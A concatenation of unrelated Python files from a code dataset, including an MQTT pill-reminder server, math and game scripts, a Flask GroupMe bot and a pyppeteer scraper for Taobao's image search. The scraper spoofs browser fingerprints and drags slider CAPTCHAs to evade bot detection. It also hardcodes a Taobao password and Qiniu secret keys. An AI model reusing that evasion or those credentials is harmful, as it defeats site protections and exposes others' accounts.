 gts_avg = 0.0\n            preds_max = 0.0\n            preds_avg = 0.0\n            for m in range(29):\n                gts_max = gts_max + gts[m]\n                preds_max = preds_max + preds[m]\n            gts_avg = gts_max / 29\n            preds_avg = preds_max / 29\n\n            cov_max = 0.0\n            cov_avg = 0.0\n            var_gts_max = 0.0\n            var_gts_avg = 0.0\n            var_preds_max = 0.0\n            var_preds_avg = 0.0\n            var = 0.0\n            cc = 0.0\n            for n in range(29):\n                cov_max = cov_max + ((gts_avg - gts[n]) * (preds_avg - preds[n]))\n                var_gts_max = var_gts_max + (gts_avg - gts[n]) * (gts_avg - gts[n])\n                var_preds_max = var_preds_max + (preds_avg - preds[n]) * (preds_avg - preds[n])\n            cov_avg = cov_max / 29\n            var_gts_avg = var_gts_max / 29\n            var_preds_avg = var_preds_max / 29\n            var = var_gts_avg * var_preds_avg\n            var = math.sqrt(var)\n            cc = cov_avg / var\n            print(\"cc:\" + str(cc))\n        \n        coord.request_stop()\n        coord.join(threads)\n        sess.close()                          \n       \n    \n    \nif __name__ == '__main__':\n\n    tf.app.run()        \n        \n       \n        \n        \n        \n\n        \n        \n        \n        \n        \n        \n        \n        \n        \n        \n        \n        \n        \n        \n        \n        \n        \n\n","sub_path":"motion_feature_fusion_extraction_regression/eval.py","file_name":"eval.py","file_ext":"py","file_size_in_byte":6237,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"213838525","text":"####server####\n\n\nfrom dati import *\nimport time\nimport json\nfrom ServerMQTT import *\nfrom os import path\n\nif __name__ == '__main__':\n\t#setup\n\twith open('farmaci.json') as json_file:\n\t\t\tfarmaci = json.load(json_file)\n\twith open(\"log_server.json\", \"r\") as f:\n\t\t\tsettings = json.load(f)\n\t\t\tclientID = settings[\"clientID\"]\n\t\t\tbroker = settings[\"broker\"]\n\n\tdati=dati()\n\tmqtt=ServerMQTT(clientID, broker)\n\tmqtt.start()\n\tmqtt.mySubscribe(mqtt.topic1)\n\tmqtt.mySubscribe(mqtt.topic3)\n\n\n\t#controllo se esiste già un backup del piano. In caso di problemi al server appena ritorna online sa già cosa deve fare\n\tif path.exists('piano.json')==False:\n\t\twhile mqtt.piano=={}:\n\n\t\t\ttime.sleep(5)\n\telse:\n\t\twith open('piano.json') as json_file:\n\t\t\tmqtt.piano = json.load(json_file)\n\n\t#seleziono il prossimo appuntamento\n\tmqtt.index, mqtt.chiavi=dati.find_first(mqtt.piano)\n\n\n\t#comunico subito le informazioni al display\n\tmqtt.myPublish(mqtt.topic2, json.dumps({'medicine': mqtt.piano[mqtt.chiavi[mqtt.index]], 'orario':mqtt.chiavi[mqtt.index], 'piano': mqtt.piano})) #da mandare per il display\n\n\n\tfor ora in mqtt.piano.keys(): #creo un dizionari di ritardi a zero\n\t\ttmp={ora:0}\n\t\tmqtt.ritardi.update(tmp)\n\n\t#calcolo i punteggi\n\tscore=dati.algoritmo(mqtt.piano, farmaci, mqtt.ritardi)\n\n\t#creo un backup locale per il piano\n\tpiano_backup=mqtt.piano\n\n\twhile True:\n\t\t#controllo se il backup\n\n\t\tif piano_backup!=mqtt.piano: #se il piano è cambiato\n\t\t\t#aggiorno il prossimo step e lo invio\n\t\t\tmqtt.index, mqtt.chiavi=dati.find_first(mqtt.piano)\n\t\t\tmqtt.myPublish(mqtt.topic2, json.dumps({'medicine': mqtt.piano[mqtt.chiavi[mqtt.index]], 'orario':mqtt.chiavi[mqtt.index], 'piano': mqtt.piano})) \n\t\t\t#qua aggiorno i ritardi\n\t\t\tmqtt.ritardi=dati.ritardi_update(mqtt.piano, mqtt.ritardi)\n\t\t\t#aggiorno lo score\n\t\t\tscore=dati.algoritmo(mqtt.piano, farmaci, mqtt.ritardi)\n\n\n\n\n\t\t#cose da fare a fine giornata\n\t\tmid=dati.is_now('00:00')\n\t\tif mid==True:# se è mezzanotte aggiorno i punteggi\n\t\t\tscore=dati.algoritmo(piano, farmaci, mqtt.ritardi)\n\t\t\t#salvo il piano come json come backup\n\t\t\twith open('piano.json', 'w') as outfile:\n\t\t\t\tjson.dump(mqtt.piano, outfile)\n\n\t\t\t#dormo per 1 minuto sennò rientra nell'if\n\t\t\ttime.sleep(60)\n\n\n\t\t#codice del quando è ora\n\t\tnow=dati.is_now(mqtt.chiavi[mqtt.index])\n\t\tif now==True: #controllo se è l'ora\n\t\t\t#calcolo i parametri da inviare\n\t\t\tf, crit=dati.switch(score, mqtt.chiavi[mqtt.index])\n\t\t\tmsg=f'Ricordati di prendere {str(mqtt.piano[mqtt.chiavi[mqtt.index]])[2:-2]}'\n\n\t\t\t#qui controllo che non sia l'ultimo orario della giornata per calcolare il ritardo massimo\n\n\t\t\tif mqtt.index>(len(mqtt.chiavi)-2):\n\t\t\t\tmqtt.ritm=dati.ritmax(mqtt.chiavi[mqtt.index], \"24:00\")\n\t\t\telse:\n\t\t\t\tmqtt.ritm=dati.ritmax(mqtt.chiavi[mqtt.index], mqtt.chiavi[mqtt.index+1])\n\n\t\t\t#mando i dati e dormo per 1 minuto\n\t\t\tmqtt.myPublish(mqtt.topic4, json.dumps({'messaggio': msg, 'frequenza':f, 'n_msg_critici':crit, 'ritardo_massimo':mqtt.ritm}))\n\t\t\ttime.sleep(60)\n\n\n\t\telif now==False:\n\t\t\ttime.sleep(5) #dormi 5 secondi\n\n\n\n\n\n","sub_path":"Server/server_main.py","file_name":"server_main.py","file_ext":"py","file_size_in_byte":3009,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"95459074","text":"import heapq\nfrom itertools import chain\nfrom collections import defaultdict\n\n\ndef gcd(a, b):\n    a, b = max(a, b), min(a, b)\n    if b == 0:\n        return a\n    return gcd(b, a % b)\n\n\ndef gcd_ls(ls):\n    ans = ls[0]\n    for x in ls[1:]:\n        ans = gcd(ans, x)\n    return ans\n\n\ndef is_prime(n, primes):\n    for prime in primes:\n        if n % prime == 0:\n            return False\n        elif prime * prime > n:\n            return True\n    return True\n\n\ndef gen_primes(lim=100000):\n    primes = [2, 3]\n    for i in range(5, lim + 1, 2):\n        if is_prime(i, primes):\n            primes.append(i)\n    return primes\n\n\ndef factor(x, primes):\n    factorization = defaultdict(int)\n    for prime in primes:\n        if prime * prime > x:\n            break\n        while x % prime == 0:\n            x //= prime\n            factorization[prime] += 1\n    if x > 1:\n        factorization[x] += 1\n    return factorization\n\n\ndef all_factors(num):\n    uniques = set()\n    primes = gen_primes()\n    factors = factor(num, primes)\n    heap = [1]\n    while len(heap) > 0:\n        cur = heapq.heappop(heap)\n        if cur not in uniques:\n            uniques.add(cur)\n            for p in factors.keys():\n                if num % (p * cur) == 0:\n                    heapq.heappush(heap, p * cur)\n    return list(uniques - set([1]))\n\n\ndef solve(ls):\n    diffs = list(chain(*[[abs(ls[j] - ls[i]) for j in range(i + 1, len(ls))] for i in range(len(ls))]))\n    gcd = gcd_ls(diffs)\n    print(' '.join(map(str, sorted(all_factors(gcd)))))\n\n\nif __name__ == '__main__':\n    N = int(input())\n    ls = [int(input()) for _ in range(N)]\n    solve(ls)\n","sub_path":"kattis/granica.py","file_name":"granica.py","file_ext":"py","file_size_in_byte":1624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"194402235","text":"from src.helper import helper\nfrom src.helper import parser\nfrom src.helper.retriever import find_retriever\nfrom src.objects.aoe2_object import AoE2Object\nfrom src.objects.trigger_obj import TriggerObject\n\n\nclass TriggersObject(AoE2Object):\n    def __init__(self,\n                 trigger_data,\n                 trigger_display_order\n                 ):\n\n        super().__init__(locals())\n\n    @staticmethod\n    def parse_object(parsed_data, **kwargs):  # Expected {}\n        display_order = parser.listify(\n            find_retriever(parsed_data['TriggerPiece'].retrievers, \"Trigger display order array\").data)\n        trigger_data = parser.listify(\n            find_retriever(parsed_data['TriggerPiece'].retrievers, \"Trigger data\").data)\n\n        triggers = []\n        for trigger in trigger_data:\n            triggers.append(TriggerObject.parse_object(parsed_data, trigger=trigger))\n\n        return TriggersObject(\n            trigger_data=triggers,\n            trigger_display_order=display_order\n        )\n\n    @staticmethod\n    def reconstruct_object(parsed_data, objects, **kwargs):  # Expected {}\n        number_of_triggers_retriever = find_retriever(parsed_data['TriggerPiece'].retrievers, \"Number of triggers\")\n        trigger_data_retriever = find_retriever(parsed_data['TriggerPiece'].retrievers, \"Trigger data\")\n        display_order_retriever = find_retriever(parsed_data['TriggerPiece'].retrievers, \"Trigger display order array\")\n\n        trigger_data_retriever.data = []\n        for trigger in objects[\"TriggersObject\"].data_dict['trigger_data']:\n            TriggerObject.reconstruct_object(parsed_data, objects, trigger=trigger)\n\n        assert len(trigger_data_retriever.data) == len(objects[\"TriggersObject\"].data_dict['trigger_data'])\n        trigger_count = len(trigger_data_retriever.data)\n        number_of_triggers_retriever.data = trigger_count\n        # Currently not necessary due to the parser setting repeated equal to list length\n        # trigger_data_retriever.datatype.repeat = trigger_count\n        # display_order_retriever.datatype.repeat = trigger_count\n        display_order_retriever.data = parser.listify(display_order_retriever.data)\n        helper.update_order_array(display_order_retriever.data, trigger_count)\n\n\n\"\"\"\nto = TriggerObject(\n    name=\"TEST\\x00\",\n    description=\"TEST DESCRIPTION\\x00\",\n    description_stid=4,\n    display_as_objective=0,\n    short_description=\"TEST SHORT DESCRIPTION\\x00\",\n    short_description_stid=2,\n    display_on_screen=1,\n    description_order=0,\n    enabled=1,\n    looping=1,\n    header=1,\n    mute_objectives=0,\n    conditions=[],\n    condition_order=[],\n    effects=[],\n    effect_order=[],\n)\nobjects[\"TriggersObject\"].data_dict['trigger_data'].append(to)\n\"\"\"\n","sub_path":"src/objects/triggers_obj.py","file_name":"triggers_obj.py","file_ext":"py","file_size_in_byte":2743,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"168598032","text":"import os\nfrom distutils.core import setup, Extension\n\nabspath = os.path.abspath(os.path.dirname(__file__))\nincpath = abspath+'/include'\n\nPSPModule = Extension('core._psp',\n    [os.path.join(abspath, source_file) for source_file in (\"psp_string.c\", \"psp_parser.c\", \"_pspmodule.c\")],\n    include_dirs=[incpath])\n\nsetup (name = 'PSPModule',\n       version = '1.0',\n       description = 'Python Server Pages',\n       author = 'C MEAD',\n       author_email = 'chazmead89@gmail.com',\n       url = 'http://docs.python.org/extending/building',\n       long_description = '''\nPython Server Pages module, extracted from Mod_Python to be used exclusively.\n''',\n       ext_modules = [PSPModule])\n","sub_path":"bin/setupPSP.py","file_name":"setupPSP.py","file_ext":"py","file_size_in_byte":684,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"113637369","text":"# -*- coding:utf-8 -*-\n# @Author: Kang Song\n# @Time: 2018/3/27 16:53\n# @说明: 石头剪刀布\n\n\nfrom random import randrange\nresult = False\n\nlist_choices = ['石头', '剪刀', '布']\nnum = 0\nwhile True:\n    print('1.石头\\n2.剪刀\\n3.布')\n    choice = eval(input('请输入你的选择'))\n    if not isinstance(choice, int) or choice > 3 or choice < 1 :\n        print('输入错误, 请重新输入')\n        continue\n    choice -= 1\n    print('你出的是', list_choices[choice])\n    cpm_choice = randrange(3)\n\n    print('电脑出的是 %s' % list_choices[cpm_choice])\n    if cpm_choice == choice:\n        print('平局')\n    elif cpm_choice == 0 and choice == 2:\n        print('你赢了')\n        num += 1\n    elif cpm_choice == 1 and choice == 0:\n        print('你赢了')\n        num += 1\n    elif cpm_choice == 2 and choice == 1:\n        print('你赢了')\n        num += 1\n    else:\n        print('你输了')\n    if num == 3:\n        break\n\n","sub_path":"base/day06/py06_gameOfStrone.py","file_name":"py06_gameOfStrone.py","file_ext":"py","file_size_in_byte":958,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"567795048","text":"import os\nimport json\n\nimport logging\nfrom logging.handlers import RotatingFileHandler\n\nfrom urllib.parse import urlencode\nfrom urllib.request import Request, urlopen\n\nfrom flask import Flask, request\n\nfrom time import sleep\n\napp = Flask(__name__)\n\n@app.route('/',methods=['POST'])\ndef webhook():\n    data = request.get_json()\n\n    if data['name'] != 'Samalytics dev version':\n        if 'hello sambot' in data['text'].lower():\n            msg = 'Hello'\n            sleep(1)\n            send_message(msg)\n\n    return \"ok\", 200\n\n@app.route('/')\ndef hello_world():\n    return 'Hello, World!\\n'\n\ndef send_message(msg):\n    url = 'https://api.groupme.com/v3/bots/post'\n\n    data = {\n        'bot_id' : '2120a75e790452f8e87eff6271',\n\t'text'   : msg\n\t}\n    request_s = Request(url,urlencode(data).encode())\n    json_s = urlopen(request_s).read().decode()\n\n\nif __name__ == '__main__':\n    handler = RotatingFileHandler('foo.log', maxBytes=10000, backupCount=1)\n    handler.setLevel(logging.INFO)\n    app.logger.addHandler(handler)\n    app.run(host='0.0.0.0', port=7551)\n    \n    #app.run(host='2601:246:5500:9bd0:8846:bd38:29db:53e0', port=7551)\n    #app.run(host='10.0.0.110', port=7551)\n","sub_path":"hello.py","file_name":"hello.py","file_ext":"py","file_size_in_byte":1182,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"426831451","text":"# -*-coding:utf-8-*-\n__author__ = 'AeenPython'\n\n# !/usr/bin/env python\n# -*- coding: UTF-8 -*-\n\nimport asyncio\nimport json\nimport pickle\nimport random\nimport re\nimport time\n\nimport pandas as pd\nfrom pyppeteer.launcher import launch  # 控制模拟浏览器用\nfrom qiniu import Auth, BucketManager\nfrom retrying import retry  # 设置重试次数用的\n\n\nasync def main(loop, username, pwd, url):  # 定义main协程函数，\n    # dumpio:True 浏览器就不会卡住了\n    # 启动pyppeteer 属于内存中实现交互的模拟器\n    browser = await launch({\n        'headless': False,\n        'dumpio': True,  # 防止浏览器卡死\n        'executablePath': r\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe\",\n        'args': ['--no-sandbox', '--disable-infobars', '--window-size=1600, 900']\n    })\n    page = await browser.newPage()  # 启动个新的浏览器页面\n    await page.setViewport({'width': 1600, 'height': 900}) # 设置整个页面的大小\n    await page.setUserAgent(\n        'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36')\n    await page.goto(url)  # 访问登录页面\n    await page_evaluate(page)\n    # await page.evaluate('function resetBtn(){$(\"#name\").val(\"\");}')\n    await page.type('.J_UserName', username, {'delay': input_time_random() - 50})\n    await page.type('#J_StandardPwd input', pwd, {'delay': input_time_random()})\n    await page.waitFor(2)\n    # 检测页面是否有滑块。原理是检测页面元素。\n    slider = await page.Jeval('#nocaptcha', 'node => node.style')  # 是否有滑块\n    if slider:\n        print('当前页面出现滑块')\n        while True:\n            print('刷新')\n            # 用于滑动失败刷新\n            flag, page = await mouse_slide(page=page)\n            fresh = ''\n            try:\n                fresh = await page.Jeval('.errloading', 'node => node.textContent')\n            except:\n                pass\n            if fresh:\n                await page.hover('a[href=\"javascript:noCaptcha.reset(1)\"]')\n                await page.mouse.down()\n                await page.mouse.up()\n                time.sleep(1)\n                await pailitao_home(page)\n                cookies_dict = await get_cookie(page)\n                with open('taobao_cookies.pickle', 'wb') as f:\n                    f.write(pickle.dumps(cookies_dict))\n            else:\n                break\n        if flag:\n            await page.keyboard.press('Enter')  # 确保内容输入完毕，少数页面会自动完成按钮点击\n            print(\"print enter\", flag,'已经成功登陆到1688网')\n            await page.evaluate('''document.getElementById(\"J_SubmitStatic\").click()''')  # 如果无法通过回车键完成点击，就调用js模拟点击登录按钮。\n            # time.sleep(2)\n            # await pailitao_home(page)\n            # cookies_dict = await get_cookie(page)\n            # with open('taobao_cookies.pickle', 'wb') as f:\n            #     f.write(pickle.dumps(cookies_dict))\n    else:\n        print(\"\")\n        await page.keyboard.press('Enter')\n        print(\"print enter\")\n        await page.evaluate('''document.getElementById(\"J_SubmitStatic\").click()''')\n        await page.waitFor(20)\n        await page.waitForNavigation()\n        time.sleep(2)\n        # await pailitao_home(page)\n        try:\n            global error  # 检测是否是账号密码错误\n            print(\"error_1:\", error)\n            error = await page.Jeval('.error', 'node => node.textContent')\n            print(\"error_2:\", error)\n        except Exception as e:\n            error = None\n        finally:\n            if error:\n                print('确保账户安全重新入输入')\n                # 程序退出。\n                loop.close()\n            else:\n                print(page.url)\n    cookies_dict =  await get_cookie(page)  #获取cookies\n    with open('taobao_cookies.pickle', 'wb') as f:\n        f.write(pickle.dumps(cookies_dict))\n    return browser, page\n    # await browser.close()\n\ndef get_file_fron_qiniu():\n    one_pic_lst = []\n    host = 'http://ptn9z2j0m.bkt.clouddn.com'\n    # bucket_domain = host[7:]\n    access_key = 'Amsb0VBTxOJBlCAhcSmRxA4O8gPLde6MBHoC_UdM'\n    secret_key = 'Jl-F0fqFTSzzHWLRa4rTkxnuQw4mZNAPWXtSZ5Pz'\n    # 初始化Auth状态\n    q = Auth(access_key, secret_key)\n    # 初始化BucketManager\n    bucket = BucketManager(q)\n    # 你要测试的空间， 并且这个key在你空间中存在\n    bucket_name = '0614consumer'\n    # 前缀\n    prefix = None\n    # 列举条目\n    limit = 2549\n    delimiter = None\n    # 标记\n    marker = None\n    ret, eof, info = bucket.list(bucket_name, prefix, marker, limit, delimiter)\n    for one_pic in ret['items']:\n        one_pic_lst.append(host + '/' + one_pic['key'])\n    return one_pic_lst\n\n\nasync def page_evaluate(page):\n    # 替换淘宝在检测浏览时采集的一些参数。\n    # 就是在浏览器运行的时候，始���让window.navigator.webdriver=false\n    # navigator是windiw对象的一个属性，同时修改plugins，languages，navigator\n    await page.evaluate('''() =>{ Object.defineProperties(navigator,{ webdriver:{ get: () => undefined } }) }''')  # 以下为插入中间js，将淘宝会为了检测浏览器而调用的js修改其结果。\n    await page.evaluate('''() =>{ window.navigator.chrome = { runtime: {},  }; }''')\n    await page.evaluate('''() =>{ Object.defineProperty(navigator, 'languages', { get: () => ['en-US', 'en'] }); }''')\n    await page.evaluate('''() =>{ Object.defineProperty(navigator, 'plugins', { get: () => [1, 2, 3, 4, 5,6], }); }''')\n\n# picture_url = 'http://pr7q5c5ea.bkt.clouddn.com/IMG_20190412_192321-objectsperson-2.jpg'\nasync def pailitao_home(page, picture_url):\n    # await page.waitForNavigation()\n    await asyncio.sleep(2)\n    url = 'http://www.pailitao.com'\n    await page.goto(url)\n    await page.waitFor(3)\n    await page.type('#q', picture_url)\n    await page.keyboard.press('Enter')\n    # await page.waitFor(20)\n    try:\n        await page.waitForSelector('#imgsearch-header > div > div > div > div.markets.icon-tag.J_HeaderMarket > div.label > span:nth-child(1)')\n    except:\n        print('出现错误')\n        pass\n    # await page.waitForNavigation()\n    title = await page.title()\n    if title == 'security-X5':\n        print('出现滑块验证')\n        await securityX5(page)\n        time.sleep(random.randint(1, 5))\n        await page_evaluate(page)\n        # await page.goto(url)\n        await page.type('#q', picture_url)\n        await page.keyboard.press('Enter')\n    else:\n        pass\n    # await page.waitForNavigation()\n    await page.waitFor(5)\n    await page.waitForSelector('#imgsearch-header > div > div > div > div.markets.icon-tag.J_HeaderMarket > div.label > span:nth-child(1)')\n\nasync def save_data_from_web(page, picture_url):\n    print('{}正在访问中'.format(picture_url))\n    page_html = await page.content()\n    str_dict = re.findall('g_page_config = (.*?);\\n', page_html)\n    if str_dict:\n        json_data = json.loads(str_dict[0])\n        with open('json_data', 'wb') as f:\n            f.write(pickle.dumps(json_data))\n        if json_data['mods'].get('itemlist'):\n            similar_auctions = json_data['mods']['itemlist']['data']['collections'][0]['auctions']\n            last_lst = []\n            for one_aution_dict in similar_auctions:\n                one_new_dict = {}\n                one_new_dict['[temid'] = one_aution_dict['nid']\n                one_new_dict['category'] = one_aution_dict['category']\n                one_new_dict['title'] = one_aution_dict['title']\n                one_new_dict['detail_url'] = one_aution_dict['detail_url']\n                last_lst.append(one_new_dict)\n            df = pd.DataFrame(last_lst)\n            df['picture'] = picture_url\n            df.to_csv('../PictureAnalyse/similar_itemId100.csv', encoding='utf-8', mode='a+')\n            print('{}数据保存成功'.format(picture_url))\n        else:\n            print('没有数据，识别失败')\n            with open('failed', 'w') as f:\n                f.write(picture_url)\n                f.write('\\n')\n\n\nasync def pailitao_main(browser, page):\n    # picture_url = 'http://pr7q5c5ea.bkt.clouddn.com/IMG_20190412_192321-objectsperson-2.jpg'\n    for picture_url in get_file_fron_qiniu():\n        await pailitao_home(page, picture_url)\n        await page.waitFor(3)\n        await save_data_from_web(page, picture_url)\n        await page.waitFor(2)\n        await asyncio.sleep(5)\n    await browser.close()\n\n\ndef retry_if_result_none(result):\n    return result is None\n\n\n@retry(retry_on_result=retry_if_result_none, )\nasync def securityX5(page):\n    await asyncio.sleep(2)\n    await page_evaluate(page)\n    try:\n        # 鼠标移动到滑块，按下，滑动到头（然后延时处理），松开按键\n        await page.hover('#nc_1_n1z')\n        await page.mouse.down()\n        await page.mouse.move(2000, 0, {'delay': random.randint(1000, 2000)})\n        await page.mouse.up()\n    except Exception as e:\n        print(e, ':验证失败')\n        return None, page\n    else:\n        await asyncio.sleep(2)\n        # 判断是否通过\n        slider_again = ''\n        try:\n            slider_again = await page.Jeval('.nc-lang-cnt', 'node => node.textContent')\n        except:\n            pass\n        if slider_again != '验证通过':\n            return None, page\n        else:\n            print('验证通过')\n            return 1, page\n\n# 获取登录后cookie\nasync def get_cookie(page):\n    new_cookies = {}\n    cookies_list = await page.cookies()\n    for cookie in cookies_list:\n        new_cookies[cookie.get('name')] = cookie.get('value')\n    return new_cookies\n\n\n@retry(retry_on_result=retry_if_result_none, )\nasync def mouse_slide(page=None, frame=None):\n    await asyncio.sleep(2)\n    try:\n        # 鼠标移动到滑块，按下，滑动到头（然后延时处理），松开按键\n        if frame:\n            await frame.hover('#nc_1_n1z')\n        else:\n            await page.hover('#nc_1_n1z')\n        await page.mouse.down()\n        await page.mouse.move(2000, 0, {'delay': random.randint(1000, 2000)})\n        await page.mouse.up()\n    except Exception as e:\n        print(e, ':验证失败')\n        return None, page\n    else:\n        await asyncio.sleep(2)\n        # 判断是否通过\n        slider_again = ''\n        try:\n            slider_again = await page.Jeval('.nc-lang-cnt', 'node => node.textContent')\n        except:\n            pass\n        if slider_again != '验证通过':\n            return None, page\n        else:\n            print('验证通过')\n            return 1, page\n\n\ndef input_time_random():\n    return random.randint(100, 151)\n\n# def last_main():\n#     username = '17621780176'  # 淘宝用户名\n#     pwd = 'www.,194928.,com'  # 密码\n#     url = 'https://login.taobao.com/member/login.jhtml?style=mini&css_style=b2b&from=b2b&full_redirect=true&redirect_url=https://login.1688.com/member/jump.htm?target=https://login.1688.com/member/marketSigninJump.htm?Done=http://login.1688.com/member/taobaoSellerLoginDispatch.htm&reg= http://member.1688.com/member/join/enterprise_join.htm?lead=http://login.1688.com/member/taobaoSellerLoginDispatch.htm&leadUrl=http://login.1688.com/member/'\n#     loop1 = asyncio.get_event_loop()  # 协程，开启个无限循环的程序流程，把一些函数注册到事件循环上。当满足事件发生的时候，调用相应的协程函数。\n#     m = main(loop1, username, pwd, url)\n#     task_login = asyncio.ensure_future(m)\n#     loop1.run_until_complete(task_login)\n#     new_page = task_login.result()\n#     loop2 = asyncio.get_event_loop()\n#     tasks = []\n#     all_picture_url = get_file_fron_qiniu()\n#     for picture_url in get_file_fron_qiniu():\n#         tasks.append(asyncio.ensure_future(pailitao_main(new_page, picture_url)))\n#     loop2.run_until_complete(tasks)\n\n\n    # loop.run_until_complete()\n\n\nif __name__ == '__main__':\n    username = '17621780176'  # 淘宝用户名\n    pwd = 'www.,194928.,com'  # 密码\n    url = 'https://login.taobao.com/member/login.jhtml?style=mini&css_style=b2b&from=b2b&full_redirect=true&redirect_url=https://login.1688.com/member/jump.htm?target=https://login.1688.com/member/marketSigninJump.htm?Done=http://login.1688.com/member/taobaoSellerLoginDispatch.htm&reg= http://member.1688.com/member/join/enterprise_join.htm?lead=http://login.1688.com/member/taobaoSellerLoginDispatch.htm&leadUrl=http://login.1688.com/member/'\n    loop1 = asyncio.get_event_loop()  # 协程，开启个无限循环的程序流程，把一些函数注册到事件循环上。当满足事件发生的时候，调用相应的协程函数。\n    m = main(loop1, username, pwd, url)\n    task_login = asyncio.ensure_future(m)\n    loop1.run_until_complete(task_login)\n    # loop1.close()\n    browser, new_page = task_login.result()\n    loop2 = asyncio.get_event_loop()\n    task2 = asyncio.ensure_future(pailitao_main(browser, new_page))\n    loop2.run_until_complete(task2)\n\n\n\n\n# async def spider_search(browser, page):\n#     url = 'strategy.tmall.com/#/marketSeg/27647?_k=0zis0l'\n#     await page.goto(url)\n#     await page_evaluate(page)\n#     page_num = 0\n#     while page_num < 5:\n#         print(page_num + 1)\n#         time.sleep(0.5)\n#         # 这里选择通过构造url来翻页，这样对于可能出现的滑块验证就存在于page中\n#         # 如果选择通过点击页面的翻页按钮翻页，则会在当前页面弹出一个小框滑动验证，此时需要检查页面的frames,找到弹出的框才能定位到滑块\n#         url = 'https://s.taobao.com/search?spm=a21bo.2017.201856-fline.3.5af911d9CJTHFx&q=T%E6%81%A4&refpid=420462_1006&source=tbsy&style=grid&tab=all&pvid=d0f2ec2810bcec0d5a16d5283ce59f67&bcoffset=0&p4ppushleft=3%2C44&s={0}'.format(\n#             44 * page_num)\n#         await page.goto(url)\n#         # 由于重新跳转了页面，window.navigator.webdriver的值被改为了True，需要再次设置为undefined，否则翻页过程中出现滑块，则会一直滑动失败\n#         await page_evaluate(page)\n#         try:\n#             slider = await page.Jeval('#nocaptcha', 'node => node.style')  # 是否有滑块\n#             if slider:\n#                 while True:\n#                     print('刷新')\n#                     # 用于滑动失败刷新\n#                     flag, page = await mouse_slide(page=page)\n#                     fresh = ''\n#                     try:\n#                         fresh = await page.Jeval('.errloading', 'node => node.textContent')\n#                     except:\n#                         pass\n#                     if fresh:\n#                         await page.hover('a[href=\"javascript:noCaptcha.reset(1)\"]')\n#                         await page.mouse.down()\n#                         await page.mouse.up()\n#                         time.sleep(1)\n#                     else:\n#                         break\n#         except Exception as e:\n#             print(e)\n#             pass\n#         page_num += 1\n#     print('over')","sub_path":"PictureAnalyse/PyppePicture.py","file_name":"PyppePicture.py","file_ext":"py","file_size_in_byte":15124,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"196930945","text":"E, V = input().split()\nE, V = int(E), int(V)\nJ = int(input())\nP = int(input())\n\ndef count_times(x,y,c=0):\n  while x - y >= 0:\n    x -= y\n    c += 1\n  return x,c\n\nP, cV = count_times(P, V)\nprint('%d vitoria(s)'%cV)\n\nP, cE = count_times(P, E)\nprint('%d empate(s)'%cE)\n\nprint('%d derrota(s)'%(J-(cV +cE)))\n","sub_path":"Python/brasileirinho.py","file_name":"brasileirinho.py","file_ext":"py","file_size_in_byte":303,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"328842673","text":"import logging\nimport os\nimport sys\nimport time\nimport json\nimport copy\nfrom random import randint\n\nfrom threading import Thread\nfrom queue import Queue, Empty\nfrom channel import Channel, ChannelTimeout, ChannelException\nfrom state import FollowerState\nfrom messages import TimeoutMessage, ExceptionMessage, LogMessage, AckMessage, SystemMessage\n\n\nBASEPORT = 9000\n\nlogging.basicConfig(\n    filename='raft.log',\n    level=logging.INFO,\n    format='%(asctime)s.%(msecs)03d %(levelname).3s %(threadName)s [%(name)s:%(lineno)s] %(message)s',\n    datefmt='%y%m%d %H%M%S'\n)\n\n\nlogger = logging.getLogger(__name__)\n\nblue = '\\001\\033[34m\\002'\ngreen = '\\001\\033[32m\\002'\nred = '\\001\\033[31m\\002'\nreset = '\\001\\033[0m\\002'\nbold = '\\001\\033[1m\\002'\nbunder = '\\001\\033[4m\\002'\neunder = '\\001\\033[24m\\002'\ncolormap = {\n    'R': reset, 'F': green, 'C': red, 'L': blue,\n}\n\n\nclass NodeController:\n    def __init__(self, count):\n        self.status_text = None\n        self.count = count\n        self.nodes = []\n        for index in range(self.count):\n            node = Server(self, index)\n            self.nodes.append(node)\n\n    def init(self):\n        logger.info('*** Starting ***')\n        for node in self.nodes:\n            node.init()\n\n    def start(self):\n        for node in self.nodes:\n            node.start()\n\n    def get_node(self, index):\n        if index < 0 or index >= len(self.nodes):\n            logger.error(f'Bad node index: {index}')\n            return None\n        return self.nodes[index]\n\n    def set_status_text(self, text):\n        self.status_text = text\n\n    def print_status(self, index, request, response):\n        status = '%04d: [' % int(time.time() % 10000)\n        i = 0\n        t = 1\n        for node in self.nodes:\n            s = node.state.__class__.__name__[0]\n            color = reset\n            if s in colormap:\n                color = colormap[s]\n            if i == index:\n                t = node.timeout\n                status = status + bunder + color + s + eunder + reset\n            else:\n                status = status + color + s + reset\n            i += 1\n        status += f'] {index}:{t} {request}'\n        if response:\n            status += f'=>{response.mdest}: {response.request}'\n        if self.status_text:\n            status += self.status_text\n            self.status_text = None\n        print(status)\n\n\nclass Config:\n    def __init__(self, name):\n        self.path = name\n        if os.path.isfile(self.path):\n            self.config = json.loads(open(self.path, 'r').read())\n        else:\n            self.config = {}\n\n    def __str__(self):\n        return str(self.config)\n\n    def __getitem__(self, key):\n        if key not in self.config:\n            self.config[key] = 0\n        return self.config[key]\n\n    def __setitem__(self, key, val):\n        self.config[key] = val\n\n    def save(self):\n        open(self.path, 'w+').write(json.dumps(self.config))\n\n\nclass Node:\n    def __init__(self, control, index=0):\n        super().__init__()\n        self.control = control\n        self.index = index\n        self.config = Config(f'node{self.index}.json')\n        logger.info(f'config={self.config}')\n        self.address = ('localhost', BASEPORT + self.index)\n        self.queue = None\n        self.nodes = {}\n        self.timeout = 1\n        self.lastTerm = 0\n        # The server's state (Follower, Candidate, 